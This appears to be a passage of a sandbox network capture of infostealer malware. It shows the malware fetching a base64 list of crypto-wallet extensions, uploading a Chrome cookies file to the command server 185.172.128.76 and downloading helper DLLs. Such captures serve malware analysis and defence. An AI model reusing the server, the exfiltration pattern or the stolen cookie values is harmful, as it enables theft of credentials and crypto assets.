6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 25, 2024 21:47:53.207093000 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 25, 2024 21:47:53.207139969 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 25, 2024 21:47:53.207154989 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 25, 2024 21:47:53.207227945 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 25, 2024 21:47:53.231643915 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 185.172.128.76 Content-Length: 6723 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:47:53.231693029 CEST	6723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 25, 2024 21:47:53.567996979 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:47:54.010370016 CEST	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:47:54.323947906 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:54 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 25, 2024 21:47:54.323962927 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 25, 2024 21:47:54.324012041 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 25, 2024 21:47:54.324078083 CEST	1289	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1U
Apr 25, 2024 21:47:54.324130058 CEST	1289	IN	Data Raw: 02 c1 e3 07 09 cb 89 1a e9 4c 01 00 00 0f b6 70 02 0f b6 db c1 e3 0e 09 f3 f6 c3 80 75 1e 83 e1 7f 81 e3 7f c0 1f 00 c7 42 04 00 00 00 00 c1 e1 07 b0 03 09 cb 89 1a e9 1d 01 00 00 0f b6 70 03 0f b6 c9 81 e3 7f c0 1f 00 c1 e1 0e 09 f1 f6 c1 80 75 Data Ascii: LpuBpuBxMMuMZ2Mx]uZxu
Apr 25, 2024 21:47:56.165885925 CEST	952	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 185.172.128.76 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------IIEBKJECFCFBFIECBKFB--
Apr 25, 2024 21:47:56.510557890 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:47:56.600580931 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file"------EGCFHDAKECFIDGDGDBKJ--
Apr 25, 2024 21:47:56.936758041 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:47:57.651783943 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 58 49 30 61 44 52 6c 4f 48 49 30 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file_name"ZXI0aDRlOHI0LmZpbGU=------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file"------AAFIJKKEHJDHJKFIECAA--
Apr 25, 2024 21:47:57.986888885 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:47:58.352190018 CEST	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:47:58.671528101 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:58 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 